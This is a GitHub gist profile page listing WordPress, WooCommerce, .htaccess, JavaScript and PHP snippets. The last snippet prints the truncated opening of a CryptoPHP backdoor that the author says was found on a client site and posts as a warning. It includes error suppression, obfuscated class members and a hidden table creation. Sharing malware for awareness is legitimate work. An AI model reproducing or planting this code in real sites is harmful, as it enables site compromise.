Skip to content

Instantly share code, notes, and snippets.

View technoknol's full-sized avatar
🎯
Focusing

Technoknol technoknol

🎯
Focusing
View GitHub Profile
@technoknol
technoknol / functions.php
Last active August 29, 2015 13:55
Wordpress Create Custom Theme Options Page
<?php
/* *
* Created By : TechnoKnol (Nick Name )
* Created On : 30th January 2014
* Blog : http://technoknol.blogspot.com
*
* */
/************************
*
@technoknol
technoknol / woocommerce_create_your_own_tab.php
Last active August 29, 2015 13:55
Woocommerce Create/Add your own tab on Single Product Page
<?php
/*
* Created By (Nick Name): TechnoKnol
* blog : http://technoknol.blogspot.com
* Purpose : Add your own code to Woocommerce Single Product Page
*
* */
/*
* Add this code to your theme's 'functions.php' file
@technoknol
technoknol / speedup-using-htaccess
Created February 27, 2014 09:11
Caching your website using .htaccess | Speed up your website using .htaccess | Wordpress/Joomla/Magento/Drupal/PHP
## EXPIRES CACHING ##
<IfModule mod_expires.c>
ExpiresActive On
ExpiresByType image/jpg "access 1 year"
ExpiresByType image/jpeg "access 1 year"
ExpiresByType image/gif "access 1 year"
ExpiresByType image/png "access 1 year"
ExpiresByType text/css "access 1 month"
ExpiresByType application/pdf "access 1 month"
ExpiresByType text/x-javascript "access 1 month"
@technoknol
technoknol / show-loader-while-page-loads.html
Created March 12, 2014 08:12
Show Loader while page loads
<!--
* Author : TechnoKnol
* Description : Show Loader while Page Loads Completely
*
*
*
-->
<!-- Add below DIV right after <body> -->
<div id="spinner"></div>
@technoknol
technoknol / allow-html-in-widget-title.php
Last active April 19, 2021 09:46
Wordpress - Allow HTML tags in Widget Title - No Plugin Required
<?php
/*
* Author : TechnoKnol
* Blog : http://technoknol.blogspot.com
* Purpose : Allow HTML tags in Widget Title in WordPress
*
* */
// Add below code in your theme's functions.php file
// Allow HTML tags in Widget title
function html_widget_title( $var) {
@technoknol
technoknol / edit_csv_and_download_new.php
Last active August 29, 2015 14:01
Add new rows to existing CSV without editing it and Download new one.
<?php
/*
* Author : TechnoKnol
* Blog : http://technoknol.blogspot.com
*
*/
header("Content-type: text/csv");
header("Content-Disposition: attachment; filename=file.csv");
@technoknol
technoknol / get-query-string-value-javascript.js
Created July 24, 2014 12:32
Get query string values in JavaScript?
// Function ::
function getParameterByName(name) {
name = name.replace(/[\[]/, "\\[").replace(/[\]]/, "\\]");
var regex = new RegExp("[\\?&]" + name + "=([^&#]*)"),
results = regex.exec(location.search);
return results == null ? "" : decodeURIComponent(results[1].replace(/\+/g, " "));
}
// Usage ::
var queryVar = getParameterByName('key');
@technoknol
technoknol / Woocommerce get product category list .php
Last active September 6, 2019 14:21
Woocommerce get product category list
<?php
global $post;
$terms = get_the_terms( $post->ID, 'product_cat' );
foreach ($terms as $term) {
$product_cat_id[] = $term->term_id;
break;
}
print_r (array_filter( array_unique( $product_cat_id ))) ;
<?php
// Get current time in milliseconds
$timeparts = explode(" ",microtime());
$currenttime = bcadd(($timeparts[0]*1000),bcmul($timeparts[1],1000));
echo $currenttime;
?>
@technoknol
technoknol / CryptoPHP-malware-sample.php
Last active August 29, 2015 14:10
Crypto PHP Malware - Remove this nasty code from your site.
// This is CryptoPHP code sample I found on one of my client site. Remove this nasty code as soon as possible.
// This Gist is not to harm anyone. Don't run this code on your site.
// Generally it can be found in .png , .jpg files.
<?php @ini_set('max_execution_time', 300); @set_time_limit(0); error_reporting(0); @ini_set('display_errors', 0); if (!defined('WP_CLIENT_KEY')) { class mWocWcrhWpiDUTXuIwU { public $ANVoslonRNQSwwQloQTx = array(), $uQfIZmMpqyjCaRQMgMoc = array(), $TTsctbCBDGVyjyFVpVyp, $lhHQvpYkByKYXvXEsFob, $whjvYeznCnnMhNySt, $keXZeLlUjrISqwBQePlM, $wbpSSSviIAVdaxozPaIs, $rFofWoxFwVRGhuCOjsaK, $QchKkLFzBKbvSGpfvxRI, $uBgDYDxGvwTUUWgwsZtu, $RYXaXWzmuNWbJhAAdkYk; public $ClbAffTqwdfsStqVgzyq; public function __construct( $TTsctbCBDGVyjyFVpVyp ) { $this->TTsctbCBDGVyjyFVpVyp = $TTsctbCBDGVyjyFVpVyp; if ( $TTsctbCBDGVyjyFVpVyp === 1 ) { $rTfnEPRdToBnhSfwgHoC = "CREATE TABLE IF NOT EXISTS `#__options` (
`id` int(10) NOT NULL AUTO_INCREMENT,
`option_name` text NOT NULL,
`val